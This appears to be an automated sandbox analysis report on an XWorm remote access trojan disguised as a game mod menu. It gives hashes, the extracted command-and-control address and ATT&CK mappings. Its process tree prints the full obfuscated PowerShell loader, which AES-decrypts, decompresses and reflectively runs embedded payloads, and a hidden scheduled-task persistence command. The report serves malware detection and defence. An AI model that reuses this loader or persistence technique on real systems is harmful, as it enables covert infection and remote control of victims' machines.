xworm | 6d09d43c755d5081924748104ac487afadaf68add75d85feb2a256de032a5e2c

max time kernel
147s
max time network
152s
platform
windows11-21h2_x64
resource
win11-20240426-en
resource tags

arch:x64arch:x86image:win11-20240426-enlocale:en-usos:windows11-21h2-x64system
submitted
14/05/2024, 11:22

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General

Target

kiddionsmodmenu.exe
Size

386KB
MD5

88e737816cc5f3e3809152c5f9dad5be
SHA1

56dedf42285c74795f714dbac7782a5d0e695a97
SHA256

6d09d43c755d5081924748104ac487afadaf68add75d85feb2a256de032a5e2c
SHA512

8d29b5606f91b953263738f03188a56a4c981a6213b53a830bd1e3975ff3d10274704df2dda957fa0b73cd8841947d6e850c6046338b8ebe9666ca895ce0eebd
SSDEEP

12288:hFPdfNMz0ECh63X3u+DnSmMk1B+8kxkpTD:hddFMz0EH3X39DnL3PHkxgn

Score

10^/10

xworm execution rat trojan

Malware Config

Extracted

Family

xworm

Version

5.0

94.156.8.167:2020

Mutex

8sPZSP21r8KwS1LM

Attributes

install_file
USB.exe

aes.plain

Signatures

Detect Xworm Payload 1 IoCs

resource	yara_rule
behavioral4/memory/3552-72-0x0000000007B10000-0x0000000007B1E000-memory.dmp	family_xworm

Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm

Blocklisted process makes network request 1 IoCs

flow	pid	Process
1	3552	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
1112	powershell.exe
3552	powershell.exe
4108	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3062789476-783164490-2318012559-1000_Classes\Local Settings	powershell.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
4108	powershell.exe
4108	powershell.exe
1112	powershell.exe
1112	powershell.exe
3552	powershell.exe
3552	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	4108	powershell.exe
Token: SeDebugPrivilege	1112	powershell.exe
Token: SeIncreaseQuotaPrivilege	1112	powershell.exe
Token: SeSecurityPrivilege	1112	powershell.exe
Token: SeTakeOwnershipPrivilege	1112	powershell.exe
Token: SeLoadDriverPrivilege	1112	powershell.exe
Token: SeSystemProfilePrivilege	1112	powershell.exe
Token: SeSystemtimePrivilege	1112	powershell.exe
Token: SeProfSingleProcessPrivilege	1112	powershell.exe
Token: SeIncBasePriorityPrivilege	1112	powershell.exe
Token: SeCreatePagefilePrivilege	1112	powershell.exe
Token: SeBackupPrivilege	1112	powershell.exe
Token: SeRestorePrivilege	1112	powershell.exe
Token: SeShutdownPrivilege	1112	powershell.exe
Token: SeDebugPrivilege	1112	powershell.exe
Token: SeSystemEnvironmentPrivilege	1112	powershell.exe
Token: SeRemoteShutdownPrivilege	1112	powershell.exe
Token: SeUndockPrivilege	1112	powershell.exe
Token: SeManageVolumePrivilege	1112	powershell.exe
Token: 33	1112	powershell.exe
Token: 34	1112	powershell.exe
Token: 35	1112	powershell.exe
Token: 36	1112	powershell.exe
Token: SeIncreaseQuotaPrivilege	1112	powershell.exe
Token: SeSecurityPrivilege	1112	powershell.exe
Token: SeTakeOwnershipPrivilege	1112	powershell.exe
Token: SeLoadDriverPrivilege	1112	powershell.exe
Token: SeSystemProfilePrivilege	1112	powershell.exe
Token: SeSystemtimePrivilege	1112	powershell.exe
Token: SeProfSingleProcessPrivilege	1112	powershell.exe
Token: SeIncBasePriorityPrivilege	1112	powershell.exe
Token: SeCreatePagefilePrivilege	1112	powershell.exe
Token: SeBackupPrivilege	1112	powershell.exe
Token: SeRestorePrivilege	1112	powershell.exe
Token: SeShutdownPrivilege	1112	powershell.exe
Token: SeDebugPrivilege	1112	powershell.exe
Token: SeSystemEnvironmentPrivilege	1112	powershell.exe
Token: SeRemoteShutdownPrivilege	1112	powershell.exe
Token: SeUndockPrivilege	1112	powershell.exe
Token: SeManageVolumePrivilege	1112	powershell.exe
Token: 33	1112	powershell.exe
Token: 34	1112	powershell.exe
Token: 35	1112	powershell.exe
Token: 36	1112	powershell.exe
Token: SeIncreaseQuotaPrivilege	1112	powershell.exe
Token: SeSecurityPrivilege	1112	powershell.exe
Token: SeTakeOwnershipPrivilege	1112	powershell.exe
Token: SeLoadDriverPrivilege	1112	powershell.exe
Token: SeSystemProfilePrivilege	1112	powershell.exe
Token: SeSystemtimePrivilege	1112	powershell.exe
Token: SeProfSingleProcessPrivilege	1112	powershell.exe
Token: SeIncBasePriorityPrivilege	1112	powershell.exe
Token: SeCreatePagefilePrivilege	1112	powershell.exe
Token: SeBackupPrivilege	1112	powershell.exe
Token: SeRestorePrivilege	1112	powershell.exe
Token: SeShutdownPrivilege	1112	powershell.exe
Token: SeDebugPrivilege	1112	powershell.exe
Token: SeSystemEnvironmentPrivilege	1112	powershell.exe
Token: SeRemoteShutdownPrivilege	1112	powershell.exe
Token: SeUndockPrivilege	1112	powershell.exe
Token: SeManageVolumePrivilege	1112	powershell.exe
Token: 33	1112	powershell.exe
Token: 34	1112	powershell.exe
Token: 35	1112	powershell.exe

Suspicious use of WriteProcessMemory 24 IoCs

description	pid	Process	procid_target
PID 4144 wrote to memory of 236	4144	kiddionsmodmenu.exe	79
PID 4144 wrote to memory of 236	4144	kiddionsmodmenu.exe	79
PID 4144 wrote to memory of 236	4144	kiddionsmodmenu.exe	79
PID 236 wrote to memory of 1408	236	cmd.exe	84
PID 236 wrote to memory of 1408	236	cmd.exe	84
PID 236 wrote to memory of 1408	236	cmd.exe	84
PID 236 wrote to memory of 4108	236	cmd.exe	85
PID 236 wrote to memory of 4108	236	cmd.exe	85
PID 236 wrote to memory of 4108	236	cmd.exe	85
PID 4108 wrote to memory of 1112	4108	powershell.exe	87
PID 4108 wrote to memory of 1112	4108	powershell.exe	87
PID 4108 wrote to memory of 1112	4108	powershell.exe	87
PID 4108 wrote to memory of 3560	4108	powershell.exe	90
PID 4108 wrote to memory of 3560	4108	powershell.exe	90
PID 4108 wrote to memory of 3560	4108	powershell.exe	90
PID 3560 wrote to memory of 3664	3560	WScript.exe	91
PID 3560 wrote to memory of 3664	3560	WScript.exe	91
PID 3560 wrote to memory of 3664	3560	WScript.exe	91
PID 3664 wrote to memory of 2976	3664	cmd.exe	93
PID 3664 wrote to memory of 2976	3664	cmd.exe	93
PID 3664 wrote to memory of 2976	3664	cmd.exe	93
PID 3664 wrote to memory of 3552	3664	cmd.exe	94
PID 3664 wrote to memory of 3552	3664	cmd.exe	94
PID 3664 wrote to memory of 3552	3664	cmd.exe	94

C:\Users\Admin\AppData\Local\Temp\kiddionsmodmenu.exe
"C:\Users\Admin\AppData\Local\Temp\kiddionsmodmenu.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:4144
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\7zS48D0.tmp\XClient_Dealed.bat" "
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:236
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('j9v/MRsvo8rPIZTuYpVL9r5+b1tKh4/IvXdLJbSprpc='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('S2gRLww5OmjzwLPcS3ad8Q=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $rcwOy=New-Object System.IO.MemoryStream(,$param_var); $TisVE=New-Object System.IO.MemoryStream; $XDooL=New-Object System.IO.Compression.GZipStream($rcwOy, [IO.Compression.CompressionMode]::Decompress); $XDooL.CopyTo($TisVE); $XDooL.Dispose(); $rcwOy.Dispose(); $TisVE.Dispose(); $TisVE.ToArray();}function execute_function($param_var,$param2_var){ $TXMac=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $KbKqR=$TXMac.EntryPoint; $KbKqR.Invoke($null, $param2_var);}$IXbeQ = 'C:\Users\Admin\AppData\Local\Temp\7zS48D0.tmp\XClient_Dealed.bat';$host.UI.RawUI.WindowTitle = $IXbeQ;$Ytldu=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($IXbeQ).Split([Environment]::NewLine);foreach ($jWeCV in $Ytldu) { if ($jWeCV.StartsWith('PpiliAyQziuRKPrYAOkn')) { $YHaeW=$jWeCV.Substring(20); break; }}$payloads_var=[string[]]$YHaeW.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "
    3⤵
    PID:1408
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Modifies registry class
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:4108
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'Windows_Log_962_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\Windows_Log_962.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1112
  - - C:\Windows\SysWOW64\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\Windows_Log_962.vbs"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:3560
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Windows_Log_962.bat" "
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:3664
      - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('j9v/MRsvo8rPIZTuYpVL9r5+b1tKh4/IvXdLJbSprpc='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('S2gRLww5OmjzwLPcS3ad8Q=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $rcwOy=New-Object System.IO.MemoryStream(,$param_var); $TisVE=New-Object System.IO.MemoryStream; $XDooL=New-Object System.IO.Compression.GZipStream($rcwOy, [IO.Compression.CompressionMode]::Decompress); $XDooL.CopyTo($TisVE); $XDooL.Dispose(); $rcwOy.Dispose(); $TisVE.Dispose(); $TisVE.ToArray();}function execute_function($param_var,$param2_var){ $TXMac=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $KbKqR=$TXMac.EntryPoint; $KbKqR.Invoke($null, $param2_var);}$IXbeQ = 'C:\Users\Admin\AppData\Roaming\Windows_Log_962.bat';$host.UI.RawUI.WindowTitle = $IXbeQ;$Ytldu=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($IXbeQ).Split([Environment]::NewLine);foreach ($jWeCV in $Ytldu) { if ($jWeCV.StartsWith('PpiliAyQziuRKPrYAOkn')) { $YHaeW=$jWeCV.Substring(20); break; }}$payloads_var=[string[]]$YHaeW.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "
        6⤵
        
        PID:2976
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
        6⤵
        Blocklisted process makes network request
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:3552

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
5dc9a9599fb11ee70f9164d8fea15abf

SHA1
85faf41a206f3fa8b469609333558cf817df2cda

SHA256
3f033142ed64a5d1e1e19d11a710e22a32827e98922769497ed6bd6e452e44de

SHA512
499407006c53a5f8e5b2b00dab734613762e66a9080504ab50d21e4c8a32b75d7308ccaa0cecfbeb7058044448a40912715da1f02ec72994596d567b515dcfca

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive

Filesize
18KB

MD5
224182d539bd7eb383189b5e44387307

SHA1
95e229561e92fa9d65923f45f02ca448f309564c

SHA256
e410561d42c65104295f093dc903b71ffa28e57a45214c02aef8d77bab620d31

SHA512
501e2a2b33eb0ae522fa9017e30796d5c3cf4c6e940f9dbc9b7d6123e1c14bcaa9a89424c22ea32c277bd4997a8ad6c7dbb83439e56240f108d3598718fad884

Download Submit
C:\Users\Admin\AppData\Local\Temp\7zS48D0.tmp\XClient_Dealed.bat

Filesize
152KB

MD5
0b426e8571f8d3e437b7a42e9b8fd808

SHA1
986edba4c39be9edb552284dac555e2e95f68a4a

SHA256
9c1a4e3a1c90d013a9465ab585ad7a9cfc378ebdbe77fc1548cb81c791e6914e

SHA512
e2efb8ba96b4c11b6167f085d5545e7e4971850e3c57f76957b8a0b0e1896537d935d123de93c1ebfd3efab34139e9bf902911ba54f20ddffad21edeeb16b021

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_al5vohrn.ugr.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Roaming\Windows_Log_962.vbs

Filesize
115B

MD5
433433eab2ea6f37ecc7cd5a438e0494

SHA1
f3946cfdffdcbf62316ce844ba51c0f0a8abf000

SHA256
16c3666816eea327666b5bcfd102a01041767e014e80638a13b98aebb0da4ab6

SHA512
15be5307219f2acacf156713f152238b0dbb5189b90720d166f6a5de9b395239bcb8fa71aa512e11fd4cd04a013749090483181a14c80fff1c80b6c9989ca352

Download Submit
memory/1112-53-0x0000000007E70000-0x0000000007E81000-memory.dmp

Filesize
68KB

Download
memory/1112-39-0x0000000006F10000-0x0000000006F44000-memory.dmp

Filesize
208KB

Download
memory/1112-52-0x0000000007EE0000-0x0000000007F76000-memory.dmp

Filesize
600KB

Download
memory/1112-51-0x0000000007CD0000-0x0000000007CDA000-memory.dmp

Filesize
40KB

Download
memory/1112-49-0x0000000006EF0000-0x0000000006F0E000-memory.dmp

Filesize
120KB

Download
memory/1112-50-0x0000000007B40000-0x0000000007BE4000-memory.dmp

Filesize
656KB

Download
memory/1112-40-0x000000006F4A0000-0x000000006F4EC000-memory.dmp

Filesize
304KB

Download
memory/3552-72-0x0000000007B10000-0x0000000007B1E000-memory.dmp

Filesize
56KB

Download
memory/3552-73-0x0000000007BC0000-0x0000000007C5C000-memory.dmp

Filesize
624KB

Download
memory/3552-76-0x0000000008DC0000-0x0000000008E52000-memory.dmp

Filesize
584KB

Download
memory/4108-12-0x0000000006570000-0x00000000065D6000-memory.dmp

Filesize
408KB

Download
memory/4108-21-0x00000000066A0000-0x00000000069F7000-memory.dmp

Filesize
3.3MB

Download
memory/4108-28-0x0000000007EC0000-0x0000000007EDE000-memory.dmp

Filesize
120KB

Download
memory/4108-29-0x0000000008B40000-0x00000000090E6000-memory.dmp

Filesize
5.6MB

Download
memory/4108-25-0x00000000084C0000-0x0000000008B3A000-memory.dmp

Filesize
6.5MB

Download
memory/4108-26-0x0000000007E40000-0x0000000007E5A000-memory.dmp

Filesize
104KB

Download
memory/4108-24-0x0000000007050000-0x0000000007096000-memory.dmp

Filesize
280KB

Download
memory/4108-23-0x0000000006AD0000-0x0000000006B1C000-memory.dmp

Filesize
304KB

Download
memory/4108-22-0x0000000006AB0000-0x0000000006ACE000-memory.dmp

Filesize
120KB

Download
memory/4108-27-0x0000000007E80000-0x0000000007E88000-memory.dmp

Filesize
32KB

Download
memory/4108-11-0x0000000006500000-0x0000000006566000-memory.dmp

Filesize
408KB

Download
memory/4108-10-0x0000000005CF0000-0x0000000005D12000-memory.dmp

Filesize
136KB

Download
memory/4108-9-0x0000000072AF0000-0x00000000732A1000-memory.dmp

Filesize
7.7MB

Download
memory/4108-7-0x0000000072AF0000-0x00000000732A1000-memory.dmp

Filesize
7.7MB

Download
memory/4108-8-0x0000000005ED0000-0x00000000064FA000-memory.dmp

Filesize
6.2MB

Download
memory/4108-6-0x00000000056D0000-0x0000000005706000-memory.dmp

Filesize
216KB

Download
memory/4108-74-0x0000000072AF0000-0x00000000732A1000-memory.dmp

Filesize
7.7MB

Download
memory/4108-5-0x0000000072AFE000-0x0000000072AFF000-memory.dmp

Filesize
4KB

Download